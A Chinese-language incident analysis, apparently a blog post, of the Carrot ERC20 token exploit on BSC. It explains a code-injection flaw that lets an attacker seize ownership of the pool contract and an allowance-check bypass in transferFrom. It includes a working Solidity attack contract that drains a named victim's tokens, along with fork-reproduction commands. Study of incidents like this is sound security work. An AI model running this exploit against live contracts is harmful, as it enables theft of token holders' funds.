合约中存在两个漏洞代码注入和逻辑错误,通过漏洞利用,可以达到转移任意用户的Carrot代币。利用过中还涉及一个未开源的pool合约。一句话总结漏洞利用过程:利用代码注入漏洞Carrot合约通过调用pool合约的方法成为pool合约的owner,利用逻辑漏洞绕过转账时的授权检查。
Carrot是一个ERC20代币,漏洞存在于代币的合约中。合约中存在两个漏洞代码注入和逻辑错误,通过漏洞利用,可以达到转移任意用户的Carrot代币。利用过中还涉及一个未开源的pool合约。一句话总结漏洞利用过程:利用代码注入漏洞Carrot合约通过调用pool合约的方法成为pool合约的owner,利用逻辑漏洞绕过转账时的授权检查。
攻击者、攻击合约
account 0xd11a93a8db5f8d3fb03b88b4b24c3ed01b8a411c hackEoa account 0x5575406ef6b15eec1986c412b9fbe144522c45ae hackCon
存在漏洞的合约
Carrot合约:0xcFF086EaD392CcB39C49eCda8C974ad5238452aC
pool合约,未开源: 0x6863b549bf730863157318df4496ed111adfa64f account 0x6863b549bf730863157318df4496ed111adfa64f vulPool
漏洞类型为:代码注入和逻辑错误。
漏洞主要存在两个地方:
transReward
函数可以达到执行任意pool合约的目的。transferFrom
函数中的对满足_isExcludedFromFee的用户,没有授权的判定。漏洞1:代码注入。导致任意人可以调用pool合约的代码,从而可以改变pool合约的owner。
漏洞存在于Carrot合约中transReward
函数中,该函数为public函数,可以通过传递data参数调用pool合约,pool合约未开源。
function transReward(bytes memory data) public {
pool.functionCall(data);
}
pool合约中存在0xbf699b4b
的函数,该函数可以设置pool合约的owner
漏洞2:逻辑错误。transferFrom
函数中满足免税的用户,直接_transfer了,而没有进行approve的判断,从而所有Carrot代币的用户,都可以被转走。
function transferFrom(
address sender,
address recipient,
uint256 amount
) public virtual override returns (bool) {
_beforeTransfer(_msgSender(),recipient,amount);
if(_isExcludedFromFee[_msgSender()]){
_transfer(sender, recipient, amount);
return true;
}
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
主要使用blocksec进行分析。
0x668f0ad4
方法这里考虑是不是回调)
delegatecall 0xc422f23102bf2eeb237a8f7789be6a6be3e4a251 0x8d3360cc的方法
hackCon将Carrot代币授权给0x9b7325a150254df59d7253885d41d8d3310f9c1a
PancakeRouter将Carrot代币授权给hackCon
调用Carrot.transReward
,这个函数只有一句代码
pool.functionCall(data);
其中pool的地址为:0x6863b549bf730863157318df4496ed111adfa64f
data中传递的参数:
给pool传递的原始数据为:
这里应该是弯路
0xbf699b4b0000000000000000000000005575406ef6b15eec1986c412b9fbe144522c45ae
应该对应两个字段:
前4个字节为函数名bf699b4b,现在未知
后面对应着一个合约地址:0x5575406ef6b15eec1986c412b9fbe144522c45ae,这个地址是黑客的攻击合约。
所以,这里是将黑客攻击合约的地址做为参数传递给了pool合约的bf699b4b函数。
可以使用cast calldata "test(address)" 0x5575406ef6b15eec1986c412b9fbe144522c45ae 看下calldata数据
<aside> 💩 PS:这个pool地址是由Carrot的官方部署的。
</aside>
通过对pool合约逆向。可以看到
function 0xbf699b4b(uint256 varg0) public nonPayable {
require(4 + (msg.data.length - 4) - 4 >= 32);
0x2110(varg0);
if (_owner.code.size > 0) {
stor_3_0_0 = 1; //IsOwnerContract
}
if (!stor_3_0_0) {
v0 = v1 = _owner == msg.sender;
if (_owner != msg.sender) {
v0 = v2 = 0xff & _addLiquidity[msg.sender]; // 如果没设置owner的话,要求调用者在这个mapping中
}
require(v0);
} else {
require(_owner == msg.sender); //如果设置过owner的话,要求调用者必须是owner
}
_owner = varg0; //将传入的地址设置成owner
}
hackCon从攻击合约向Carrot合约转了0个Carrot代币。( 🤣为什么要转?)
0x00b433800970286cf08f34c96cf07f35412f1161 向hackCon转了31万的Carrot代币。
anvil --fork-url https://rpc.ankr.com/bsc --fork-block-number 22055611
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;
import "./interfaces/Carrot.sol";
import "forge-std/console2.sol";
contract Hack {
address public owner;
address constant public CARADDR = 0xcFF086EaD392CcB39C49eCda8C974ad5238452aC;
address constant public PANCAKEROUTER = 0x10ED43C718714eb63d5aA57B78B54704E256024E;
address constant public POOL = 0x6863b549bf730863157318df4496eD111aDFA64f;
constructor() {
owner = msg.sender;
}
modifier OnlyOwner() {
require(owner==msg.sender, "OnlyOwner can");
_;
}
function kill(address _to) public OnlyOwner {
selfdestruct(payable(_to));
}
function hackProc() public OnlyOwner {
Carrot carrot = Carrot(CARADDR);
carrot.approve(PANCAKEROUTER, ~uint(0));
carrot.transReward(abi.encodeWithSelector(0xbf699b4b, address(this)));
carrot.transferFrom(address(this), CARADDR, 0);
// 开始从授权账户转币
address victim = 0x00B433800970286CF08F34C96cf07f35412F1161; //310344736073087429864760 原始攻击使用的受害者
uint amount = carrot.balanceOf(victim);
console2.log("Victim:%s, carrot balance:%s",
victim, amount);
carrot.transferFrom(victim, address(this), amount);
// 0x0522898a86196612248aD0FE88E8De4f7156DaC3
}
}
修复的方式
新合约与旧合约代码上的改变。
新合约的pool地址为
0x338b9B9E3fE6Ccf0A89C0B8189822dbE4a32fDd5
新的pool地址中也有一个 bf699b4b
的函数
0xbf699b4b
可以取得owner权限吗?是什么时候设置的owner的?有没有可能修改这个值?怎么验证这个owner?
合约变量存储在slot中,每个槽32字节。
对2的解答:
不可以。对Carrot合约0xcff086ead392ccb39c49ecda8c974ad5238452ac
,在pool合约中mapping变量的值为1,对其他合约0xb4c79daB8f259C7Aee6E5b2Aa729821864227e84
,在pool合约中mapping变量的值为0。所以其他合约在调用0xbf699b4b
函数时,会因为mapping的原因,导致无法通过pool合约中的require检查,因此函数调用不会成功。
0xcff086ead392ccb39c49ecda8c974ad5238452ac的mapping变量的值
cast index address 0xcff086ead392ccb39c49ecda8c974ad5238452ac 1
0x50806b5fec72182ae612226c0727f3c74ce29b5ace29ce014a08273f16a515a3
cast storage 0x6863b549bf730863157318df4496ed111adfa64f 0x50806b5fec72182ae612226c0727f3c74ce29b5ace29ce014a08273f16a515a3 -r $ANVIL_RPC
0x0000000000000000000000000000000000000000000000000000000000000001
0xb4c79daB8f259C7Aee6E5b2Aa729821864227e84(foundry部署的合约地址)的mapping变量的值
cast index address 0xb4c79daB8f259C7Aee6E5b2Aa729821864227e84 1
0x4471cc5cac2b64523530417b5fc41f30128f5b073ab87ef99ba1de02e6bb9deb
cast storage 0x6863b549bf730863157318df4496ed111adfa64f 0x4471cc5cac2b64523530417b5fc41f30128f5b073ab87ef99ba1de02e6bb9deb -r $ANVIL_RPC
0x0000000000000000000000000000000000000000000000000000000000000000
对3的解答
IsOwnerContract存储在合约的STORAGE 3中,使用cast命令可以读取到,该值为0,表示owner不是一个合约地址。
owner的地址在合约的STORAGE 5中,使用
cast storage 0x6863b549bf730863157318df4496ed111adfa64f 5 -r $ANVIL_RPC
0x0000000000000000000000008958c8689d325fd9e2a1ede3d5dc1acfcfb65742
攻击tx: 0xa624660c29ee97f3f4ebd36232d8199e7c97533c9db711fa4027994aa11e01b9
漏洞合约地址:0xcff086ead392ccb39c49ecda8c974ad5238452ac
漏洞利用时pool合约地址:0x6863b549bf730863157318df4496ed111adfa64f
新合约地址: 0xE9809e9FD9FFa2b9f52755839bE6B6F9891C50cB
新合约使用的pool地址: 0x338b9B9E3fE6Ccf0A89C0B8189822dbE4a32fDd5
account 0xd11a93a8db5f8d3fb03b88b4b24c3ed01b8a411c hackEoa
account 0x5575406ef6b15eec1986c412b9fbe144522c45ae hackCon
Foundry的基本使用总结 https://learnblockchain.cn/article/4725
如果觉得我的文章对您有用,请随意打赏。你的支持将鼓励我继续创作!